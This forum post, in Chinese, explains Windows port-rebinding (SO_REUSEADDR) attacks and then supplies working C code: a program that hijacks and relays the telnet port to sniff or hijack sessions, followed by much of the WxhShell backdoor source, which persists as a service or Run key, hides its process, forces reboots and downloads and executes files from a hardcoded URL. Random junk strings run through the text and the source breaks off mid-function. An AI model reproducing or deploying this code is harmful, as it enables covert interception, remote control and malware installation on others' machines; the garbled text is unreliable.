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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T(~^X-k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dsb z\w3:  
0XL[4[LdA  
  saddr.sin_family = AF_INET; ,l\D@<F  
*I9G"R8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kaCn@$  
W*4!A\K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); er!+QD,EM  
CR|>?9V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `R$bx 64  
{Z[kvXf"mZ  
  这意味着什么?意味着可以进行如下的攻击: \l 3M\$oS>  
`k08M)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RWn#"~  
MpJx>0j/J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r1$x}I#Zv  
B_.>Q8tK;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 / pR,l5  
+,9Mufh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '9|R7  
^}GR!990  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b55G1w  
q?&JS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [3W+h1  
@jD19=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j7HOh|q  
"QY~V{u5  
  #include jH4Wu`r;m  
  #include ,k/<Nv;  
  #include K%vGfQ8Er-  
  #include    UAdj [m61  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lHPhZ(Z  
  int main() *P[N.5{  
  { i"hn%u$V  
  WORD wVersionRequested; P`M1sON~  
  DWORD ret; /p@0Q [E  
  WSADATA wsaData; zPb "6%1B  
  BOOL val; '}NH$ KA  
  SOCKADDR_IN saddr; c-a;nAR  
  SOCKADDR_IN scaddr; f<3r;F7  
  int err; 0 f"M-x  
  SOCKET s; >[g'i+{  
  SOCKET sc; niM(0p  
  int caddsize; t]pJt  
  HANDLE mt; :SpPT  
  DWORD tid;   !myF_cv}'  
  wVersionRequested = MAKEWORD( 2, 2 ); fP1fm  
  err = WSAStartup( wVersionRequested, &wsaData ); mDU-;3OqF  
  if ( err != 0 ) { 9M-/{D^+<  
  printf("error!WSAStartup failed!\n"); sk`RaDq@;  
  return -1; rB5+~ K@  
  } -QP1Se*#  
  saddr.sin_family = AF_INET; u+e.{Z!  
   ) $I"LyK)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~bJ*LM?wOP  
gJBk&SDgtP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R )e^H  
  saddr.sin_port = htons(23); 885 ,3AdA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 22m'+3I~Y  
  { (fWQ?6[  
  printf("error!socket failed!\n"); y]f| U-f:~  
  return -1; px_%5^zRQ  
  } 2c<phmiK  
  val = TRUE; *r]#jY4qx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~wRozV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [ x|{VJ(h  
  { &,`P%a&k  
  printf("error!setsockopt failed!\n"); r.zJ/Tk  
  return -1; OAz -w  
  } \t@|-`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T?FR@. Rm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Rd*/J~TK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "mkTCR^]e  
,cFp5tV$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LIHf]+  
  { o>Z+=&BZ@a  
  ret=GetLastError(); L"!BN/i_  
  printf("error!bind failed!\n"); yh Ymbu  
  return -1; K?+ Rq  
  } `{I-E5 x  
  listen(s,2); \7,'o] >M-  
  while(1) v|mZcAz  
  { 6e;.}i  
  caddsize = sizeof(scaddr); \<A@Nf"  
  //接受连接请求 O k~\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zHCz[jlrMq  
  if(sc!=INVALID_SOCKET) U=bZy,FT$  
  { I^6zUVH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q}jl1dIq  
  if(mt==NULL) /c1FFkq|K  
  { wA}+E)x/C  
  printf("Thread Creat Failed!\n"); uJ$!lyJ6L  
  break; !xK`:[B  
  } n _*k e  
  } VN8ao0^d;d  
  CloseHandle(mt); mWM!6"  
  } ZK]C!8\2|  
  closesocket(s); |bz,cvlP W  
  WSACleanup(); +P<LoI  
  return 0; +<H)DPG<  
  }   -.E<~(fad  
  DWORD WINAPI ClientThread(LPVOID lpParam) P1ab2D  
  { ]Z\.Vx  
  SOCKET ss = (SOCKET)lpParam; D?Q{&6p  
  SOCKET sc; z7J2O  
  unsigned char buf[4096]; u-. _;  
  SOCKADDR_IN saddr; )/9/p17:xu  
  long num; X;0DQnAI8j  
  DWORD val; ~(`iRxK  
  DWORD ret; kSw.Q2ao  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Rj=xn(@d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qzqv-{.h  
  saddr.sin_family = AF_INET; DFt1{qS8@u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K(HP PM\  
  saddr.sin_port = htons(23); mko<J0|4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qyuU  
  { .gWYKZM  
  printf("error!socket failed!\n"); 5A6d]  
  return -1; >2~q{e  
  } 6l>$N?a  
  val = 100; xGeRoW(X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y75,{1\l0  
  { puz~Rfn#*  
  ret = GetLastError(); X@)5F 9  
  return -1; X}xy v  
  } d1#;>MiU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a ^b_&}y  
  { Bn/ {J  
  ret = GetLastError(); wvA@\-.+  
  return -1; amIG9:-1'  
  } v >71 ?te  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rr# &0`]  
  { Khxl 'qj  
  printf("error!socket connect failed!\n"); ALiXT8q  
  closesocket(sc); fG5U' Vw  
  closesocket(ss); m$:o+IH/  
  return -1; b{t'Doe  
  } Uok?FEN  
  while(1) l M5Xw  
  { ]`&ws  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Nd*zSsVlq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M:qeqn+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^l6q  
  num = recv(ss,buf,4096,0); ?y7x#_Exc  
  if(num>0) W9T,1h5x  
  send(sc,buf,num,0); y!Q&;xO+!  
  else if(num==0) ]-& ehW  
  break; .3&zP  
  num = recv(sc,buf,4096,0); IXugnvyV  
  if(num>0) #|34(ML  
  send(ss,buf,num,0); ;z>)&F  
  else if(num==0) 0zaE?dA]  
  break; (<pc4#B@*  
  } =$IjN v(?  
  closesocket(ss); QOkPliX  
  closesocket(sc); m-UI^M,@<  
  return 0 ; [dL4u^]{  
  } ]w(i,iJ  
A - G?@U  
.Kr?vD^nG  
========================================================== v*1UNXU\  
41WnKz9c  
下边附上一个代码,,WXhSHELL B`} ?rp  
QdL ;|3K9  
========================================================== n97A'"'wz  
wz5xJ:Tj  
#include "stdafx.h" Im1e/F]  
[MYd15  
#include <stdio.h> eW]K~SPd7  
#include <string.h> 7%9Sz5z  
#include <windows.h> =9e( )j  
#include <winsock2.h> 3ADT Yt".  
#include <winsvc.h> ` IiAtS  
#include <urlmon.h> _YY:}'+  
*?K3jy{  
#pragma comment (lib, "Ws2_32.lib") b:Dr _|  
#pragma comment (lib, "urlmon.lib") )W~w72j-  
# &o3[.)9  
#define MAX_USER   100 // 最大客户端连接数 Q uy5H  
#define BUF_SOCK   200 // sock buffer =m=`|Bn  
#define KEY_BUFF   255 // 输入 buffer !12W(4S5  
H~1*`m  
#define REBOOT     0   // 重启 2Tt@2h_L  
#define SHUTDOWN   1   // 关机 Bhl@\Kq  
Ft>Abj,6  
#define DEF_PORT   5000 // 监听端口 74rz~ZM 5  
e;R5A6|  
#define REG_LEN     16   // 注册表键长度 B i?DmrH  
#define SVC_LEN     80   // NT服务名长度 vDz)q  
7$+n"Cfm  
// 从dll定义API 'Uew(o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (CS"s+y1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [L8Bgw1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _K>cB<+d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K>9]I97g'  
 cpp0Y^  
// wxhshell配置信息 xCD|UC46?X  
struct WSCFG { [XjJsk,  
  int ws_port;         // 监听端口 <*~vZT i(  
  char ws_passstr[REG_LEN]; // 口令 Q i#%&Jz>f  
  int ws_autoins;       // 安装标记, 1=yes 0=no NA>h$N  
  char ws_regname[REG_LEN]; // 注册表键名 R 28v5  
  char ws_svcname[REG_LEN]; // 服务名 C".&m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZJ@M}-4O1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #[C |%uq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J (Yfup  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0ejx; Mum  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n|Vs27  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  a= ;7  
B0NKav  
}; #Na3eHT  
d>eVR  
// default Wxhshell configuration CeoK@y=o  
struct WSCFG wscfg={DEF_PORT, f*7/O |Gp  
    "xuhuanlingzhe", F_U3+J>  
    1, `UL #g![J  
    "Wxhshell", gR"'|c   
    "Wxhshell", bWo-( qxq  
            "WxhShell Service", a;D{P`%n  
    "Wrsky Windows CmdShell Service", ~sshhuF  
    "Please Input Your Password: ", /cUcfe#X  
  1, &xMR{:  
  "http://www.wrsky.com/wxhshell.exe", ={-\)j  
  "Wxhshell.exe" 0F6^[osqtl  
    }; c 's=>-X  
7-.Y VM~R  
// 消息定义模块 /Ou`$2H87  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *r$Yv&c,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k5]s~* ,0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e'mm42  
char *msg_ws_ext="\n\rExit."; #.UooFk+Y  
char *msg_ws_end="\n\rQuit."; (EGsw o  
char *msg_ws_boot="\n\rReboot..."; o-Pa3L=  
char *msg_ws_poff="\n\rShutdown..."; ge9j:S{  
char *msg_ws_down="\n\rSave to "; K?,eIZ{.S  
\@vR*E  
char *msg_ws_err="\n\rErr!"; ")"VQ|$y  
char *msg_ws_ok="\n\rOK!"; V03U"eI="  
ttuQ ,SD  
char ExeFile[MAX_PATH]; *g]q~\b/;  
int nUser = 0; b"t95qlL  
HANDLE handles[MAX_USER]; iXK.QktHw  
int OsIsNt; ao#{N=mn  
s\,F 6c  
SERVICE_STATUS       serviceStatus; qP6]}Aj]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a H'iW)  
QpwOrxI}  
// 函数声明 6 uW?xB9  
int Install(void); ,J"6(nk  
int Uninstall(void); EFu2&P  
int DownloadFile(char *sURL, SOCKET wsh); &WE|9  
int Boot(int flag); j1%o+#df  
void HideProc(void); d76k1-m\o  
int GetOsVer(void); 4=td}%  
int Wxhshell(SOCKET wsl); CTQF+Oe8O  
void TalkWithClient(void *cs); [URo#  
int CmdShell(SOCKET sock); fi^ I1*S  
int StartFromService(void); b[<r+e8  
int StartWxhshell(LPSTR lpCmdLine); l7]:b8  
%>Z^BM<e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l^w=b~|7=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -"[o|aa^  
|} ;&xI  
// 数据结构和表定义 X:bv ?o>Y  
SERVICE_TABLE_ENTRY DispatchTable[] = h`X)sC+  
{ j}3Avu%  
{wscfg.ws_svcname, NTServiceMain}, 2%i_SX[  
{NULL, NULL} G=/a>{  
}; Qyvn A|&  
C']TO/2q  
// 自我安装 z^$DXl@)h  
int Install(void) |9T3" _MmJ  
{ nfET;:{  
  char svExeFile[MAX_PATH]; KWbnSL8  
  HKEY key; ma[%,u`  
  strcpy(svExeFile,ExeFile); O*xC}$OOn  
u9My.u@-*%  
// 如果是win9x系统,修改注册表设为自启动  P&"8R  
if(!OsIsNt) { 7Vd"k;:X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rd@34"O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kIhP 73M  
  RegCloseKey(key); GOuBNaU {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NFw7g&1;Kp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m/RX~,T*v&  
  RegCloseKey(key); a~E@scD  
  return 0; VI7f}  
    } )Kkw$aQI"d  
  } Dn~r~aR$g  
} G66sP w  
else { "S)2<tV  
{q f gvu  
// 如果是NT以上系统,安装为系统服务 f#mBMdj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /8(c^  
if (schSCManager!=0) JoeU J3N  
{ $Wt0e 4YSu  
  SC_HANDLE schService = CreateService yW5/Y02  
  ( f.8Jp<S2K  
  schSCManager, mW~t/$Y$  
  wscfg.ws_svcname, |^9+c2   
  wscfg.ws_svcdisp, uvR9BL2=  
  SERVICE_ALL_ACCESS, JLo'=(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s+IU%y/9$a  
  SERVICE_AUTO_START, vFKX@wV S  
  SERVICE_ERROR_NORMAL, gv)F`uRWA  
  svExeFile, 4Gz5Ju  
  NULL, ?}|l )  
  NULL, };;\&#  
  NULL, l3kYfq{";"  
  NULL, +Tz Z   
  NULL hbl%<ItI49  
  ); (1pI#H"f9  
  if (schService!=0) /Iht,@%E  
  { \1|]?ZQ\K  
  CloseServiceHandle(schService); aK>5r^7S  
  CloseServiceHandle(schSCManager); !kCMw%[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b-4g HW  
  strcat(svExeFile,wscfg.ws_svcname); ZslH2#   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k\->uSU9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V6l~Aj}/  
  RegCloseKey(key); :'1UX <&B  
  return 0; lO=+V 6  
    } MO}J  
  } dQP7CP  
  CloseServiceHandle(schSCManager); }?[^q  
} 74f3a|vx/  
} 0-Z sV3I&  
)Dn~e#  
return 1; s&(,_34  
} &%J+d"n(  
+LBDn"5  
// 自我卸载 ,K4*0!TXP  
int Uninstall(void) `"~s<+  
{ ) D_ZZPq_  
  HKEY key; %f??O|O3  
h M{&if  
if(!OsIsNt) { ~{69&T}9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Arvxl(R\4  
  RegDeleteValue(key,wscfg.ws_regname); 5W hR |  
  RegCloseKey(key); rb8c^u#r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]MI> "hn  
  RegDeleteValue(key,wscfg.ws_regname); &?+vHE}  
  RegCloseKey(key); ifA=qn0=}  
  return 0; cfZG3 "  
  } KKMzhvf]#  
} b-Fv vA  
} tF:'Y ~3 p  
else { J6m`XC  
-anLp8G*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BP f;!.  
if (schSCManager!=0) n0nf;E  
{ `v2]Jk<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4a'O#;h o  
  if (schService!=0) DGfhS`X  
  { *qx<bY@F  
  if(DeleteService(schService)!=0) { *Nfn6lVB  
  CloseServiceHandle(schService); \Xy]z  
  CloseServiceHandle(schSCManager); CR*9-Y93  
  return 0; Cjvgf .>$  
  } $lJu2omi1  
  CloseServiceHandle(schService); agQ5%t#  
  } 1-z*'Ghys  
  CloseServiceHandle(schSCManager); xL.T}f~y2>  
} {sn:Lj0  
} 'Na \9b(  
-I, _{3.S  
return 1; 44s K2  
}  ]J= S\  
C):RE<X  
// 从指定url下载文件 B_f0-nKP  
int DownloadFile(char *sURL, SOCKET wsh) !83x,*O  
{ b0\'JZ  
  HRESULT hr; B@ab[dm280  
char seps[]= "/"; iEDZ\\,  
char *token; {?a9>g-BW  
char *file; d<*4)MRN  
char myURL[MAX_PATH]; qF9rY)ifm  
char myFILE[MAX_PATH]; 7Pt*V@DHS  
$D,m o2I  
strcpy(myURL,sURL); doR'E=Z4h  
  token=strtok(myURL,seps); $Cu/!GA4.>  
  while(token!=NULL) *q5'~)W<  
  { ]mU,y$IQ  
    file=token; 0 O{Y Vk`  
  token=strtok(NULL,seps); !;Mh5*-  
  } ETu7G5?  
o?G^=0T  
GetCurrentDirectory(MAX_PATH,myFILE); +B*8$^,V)  
strcat(myFILE, "\\"); >$.u|a  
strcat(myFILE, file); uj.~/W1,!  
  send(wsh,myFILE,strlen(myFILE),0); Lh=~3  
send(wsh,"...",3,0); WY@x2bBi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f;/t7=>d  
  if(hr==S_OK) * *?mZtF  
return 0; (wJtEoB9^  
else ;O YwZ  
return 1; E(G=~>P  
Fa(}:Ug  
} `I$qMw,@  
{$iJYS\  
// 系统电源模块 (xU+Y1*g"%  
int Boot(int flag) {Y5h*BD>  
{ Xco$ yF%  
  HANDLE hToken; Tb-`0^y&X1  
  TOKEN_PRIVILEGES tkp; 'e6 W$?z  
C9-9cdW H  
  if(OsIsNt) { UI~ENG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0XlX7Sk+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i '!M<>7  
    tkp.PrivilegeCount = 1; .?SClTqg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >l$vu-k)~4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~L(_q]  
if(flag==REBOOT) { c ;3bX6RD*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PN:8H>  
  return 0; v9~Hl   
} [5%/{W,~m  
else { hp(n;(OR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m[^;HwJ  
  return 0; =J8)Z'Jr  
} dE5DH~ldV  
  } ;{|a~e?Y  
  else { @C=, >+D  
if(flag==REBOOT) { h3;Ij'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PMZdz>>T  
  return 0; VGcl)fIqw?  
} V,qZF=}S  
else { ^ v3+w"2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y51XpcXQ  
  return 0; PiB)pUYj  
} }\u~He%  
} Ja-D}|;  
DT&[W<oN  
return 1; |D^Q}uT  
} , IUMH]D  
U]sU b3  
// win9x进程隐藏模块 (2@b ,w^  
void HideProc(void) -b@E@uAX /  
{ SX}GKu  
AW'tZF"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =nnS X-x  
  if ( hKernel != NULL ) yh_s(>sh  
  { I#l9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %9mCgHQ9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kw'Dzz%kN  
    FreeLibrary(hKernel); "!)8bTW  
  } +2oZB]GPL  
\Y9=d E}  
return; ^J>28Q\S  
} 0jv9N6IM  
NQfIY`lt'  
// 获取操作系统版本 Y tGH>0}h  
int GetOsVer(void) G%YD2<V  
{ @6*<Xs =  
  OSVERSIONINFO winfo; y<F$@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `Uk,5F5   
  GetVersionEx(&winfo); z!Kadqns  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hl~(&D1^  
  return 1; ;$i9gP[|m  
  else @ x*#7Y  
  return 0;  v )7d  
} {yyg=AMz  
C>68$wd>  
// 客户端句柄模块 J=K3S9:n]g  
int Wxhshell(SOCKET wsl) z,rWj][P  
{ ~73"AWlp  
  SOCKET wsh; #`"'  
  struct sockaddr_in client; *ep!gT*4  
  DWORD myID; Tf@t.4\  
Q\=u2}/z0  
  while(nUser<MAX_USER) *MagicA  
{ SATZ!  
  int nSize=sizeof(client); =|3 L'cDC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n+GCL+Mo  
  if(wsh==INVALID_SOCKET) return 1; (%0X\zvu/  
d c&Qi_W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BpP\C!:^  
if(handles[nUser]==0) !+)$;`  
  closesocket(wsh); L&3=5Bf9  
else Tjs-+$P+  
  nUser++; bT{P1nUu  
  } !W$Br\<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 62(WZX%b  
|P?8<8p  
  return 0; <2cq 0*$  
} l}Xmm^@)  
[JAd1%$3  
// 关闭 socket h]EXD   
void CloseIt(SOCKET wsh) N[pk@M\vX  
{ tW=0AtZl]  
closesocket(wsh); N=I5MQG  
nUser--; i0AC.]4e"  
ExitThread(0); R&xD|w8UjM  
} Jy|Mfl%d  
q }z,C{Wq<  
// 客户端请求句柄 g"Ii'JZ?  
void TalkWithClient(void *cs) T[Gz  
{ 6  09=o+  
c7rYG]  
  SOCKET wsh=(SOCKET)cs; D 0n2r  
  char pwd[SVC_LEN]; NZlJ_[\$C  
  char cmd[KEY_BUFF]; q',a7Tf:  
char chr[1]; 8%xtb6#7M  
int i,j; [2\`Wh:%P  
)i!)Tv  
  while (nUser < MAX_USER) { 9q8 rf\&  
|x5 w;=  
if(wscfg.ws_passstr) { W' 2)$e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S'@"a%EV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |u}sX5/q  
  //ZeroMemory(pwd,KEY_BUFF); Cn`% *w  
      i=0; 4x C0Aw  
  while(i<SVC_LEN) { *E. 2R{  
e@,L~ \  
  // 设置超时 ~r>UjC_ B:  
  fd_set FdRead; Mvcl9  
  struct timeval TimeOut; F 1zc4l6  
  FD_ZERO(&FdRead); 9MYt4  
  FD_SET(wsh,&FdRead); (/KF;J^M  
  TimeOut.tv_sec=8; &0C!P=-p  
  TimeOut.tv_usec=0; i{e<kKh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (Iq\+@xE=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 33;|52$  
^#t<ILUa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SQ1&n;M}f  
  pwd=chr[0]; sIy$}_  
  if(chr[0]==0xd || chr[0]==0xa) { AMm O+E?  
  pwd=0; v Cmh3TQ  
  break; mE7Jv)@  
  } aEM#V  
  i++; (CV=0{]  
    } R;.WOies4  
-"nYCF  
  // 如果是非法用户,关闭 socket G7=8*@q>:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a #0{tZd  
} h n ]6he  
=lmh^**4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kg@J.   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O71rLk;  
T6,lk1S'=  
while(1) { 0ND7F  
O0l;Qi  
  ZeroMemory(cmd,KEY_BUFF); ixH7oWH#  
c]&VUWQ  
      // 自动支持客户端 telnet标准   W2B=%`sC  
  j=0; *Xnq1_K}  
  while(j<KEY_BUFF) { ?-Z:N`YP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KWH  
  cmd[j]=chr[0]; DtN6.9H2`  
  if(chr[0]==0xa || chr[0]==0xd) { h ,n!x:zy@  
  cmd[j]=0; zF$wz1 %  
  break; ?d0Dfqh_  
  } :)yM9^<D  
  j++; ^KF'/9S  
    } S\rfR N  
v;8XRR:  
  // 下载文件 lpM{@JC  
  if(strstr(cmd,"http://")) { Smu x&e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~zX5}U<R  
  if(DownloadFile(cmd,wsh)) bDNd m-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )gLasR.1  
  else Yt'o#"R)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); od fu7P_  
  } NEH$&%OV?  
  else { y$"L`*W  
N{yZk"fq:6  
    switch(cmd[0]) { qprOxP r  
  8UcT? Zp  
  // 帮助 |Wgab5D>V  
  case '?': { ?C{N0?[P-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZM.g +-9  
    break; f$'D2o, O  
  } Y|~>(  
  // 安装 [)u(\nfGX  
  case 'i': { F{+`F<r  
    if(Install()) b#U%aPH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /km3L7L%R  
    else *X-$* ~J0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;CZcY] ol  
    break; BYf"l8^,  
    } 7EXmmB~>,  
  // 卸载 /{va<CL  
  case 'r': { i5"q1dRQ  
    if(Uninstall()) iD`XD\.?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mTgn}rXk  
    else @ $R a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;$Jvqq|T  
    break; . gJKr  
    } 4#9-Z6kOk  
  // 显示 wxhshell 所在路径 #*/h*GNMs  
  case 'p': { Z#O3s:`  
    char svExeFile[MAX_PATH]; _JDr?Kg  
    strcpy(svExeFile,"\n\r"); PsnU5f)`  
      strcat(svExeFile,ExeFile); C=cTj7Ub  
        send(wsh,svExeFile,strlen(svExeFile),0); ~] 2R+  
    break; QAwj]_  
    } k N+(  
  // 重启 : eFc.>KoD  
  case 'b': { 3\G=J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %R>S"  
    if(Boot(REBOOT)) (ce NVo&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DeSTo9A}!  
    else { 4C cb!?  
    closesocket(wsh); A'8K^,<  
    ExitThread(0); mg(56)  
    } k]iS3+nD  
    break; cF vx* n  
    } #VE$C3<  
  // 关机 {  9$Q|XK  
  case 'd': { O2dgdtm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *% *^a\2  
